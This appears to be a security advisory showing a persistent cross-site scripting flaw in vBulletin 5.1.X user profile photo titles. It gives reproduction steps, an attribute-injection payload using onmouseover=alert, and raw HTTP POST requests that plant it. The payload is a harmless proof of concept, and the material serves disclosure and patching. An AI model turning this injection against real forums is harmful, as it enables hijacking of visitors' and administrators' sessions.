vBulletin 5.1.X – Cross Site Scripting
Latest vBulletin forum software suffers on persistent cross site scripting vulnerability, which most likely can be used against every user, such as administrator. Vulnerability is located at user profile page and will be executed whenever someone will visit it. Solution - proper filtration of image title value, in this case, it's about POST title_13 parameter. First step to reproduce the vulnerability, is to create a user account. By then, you should visit profile of the victim. Let's take as example following address: http://vbulletin/member/2-victim. Click 'Share photo' (camera icon), pick any image you like. You may add comment about photo, all you need to do is to add js payload. As comment, use something like - huh" onmouseover=alert(666) xss=" Request: POST /ajax/render/editor_gallery_photoblock HTTP/1.1 Host: vbulletin photocount=1&photos%5B0%5D%5Bfiledataid%5D=13&photos%5B0%5D%5Btitle%5D=cool%22+onmouseover%3Dalert(666)+xssed%3D%22&securitytoken=[TOKEN] Send image by clicking on 'Post' button. Request: POST /create-content/gallery HTTP/1.1 Host: vbulletin Content-Type: multipart/form-data; boundary=---------------------------18897880557155952661558219659 Content-Length: 1558 -----------------------------18897880557155952661558219659 Content-Disposition: form-data; name="securitytoken" 1409922799-a28bf50b7ee16f6bfc2b7c652946c366e25574d5 -----------------------------18897880557155952661558219659 Content-Disposition: form-data; name="text" -----------------------------18897880557155952661558219659 Content-Disposition: form-data; name="files"; filename="" Content-Type: application/octet-stream -----------------------------18897880557155952661558219659 Content-Disposition: form-data; name="uploadFrom" -----------------------------1889788055715595266155821 Visit profile of the victim, and you will see that XSS is triggered.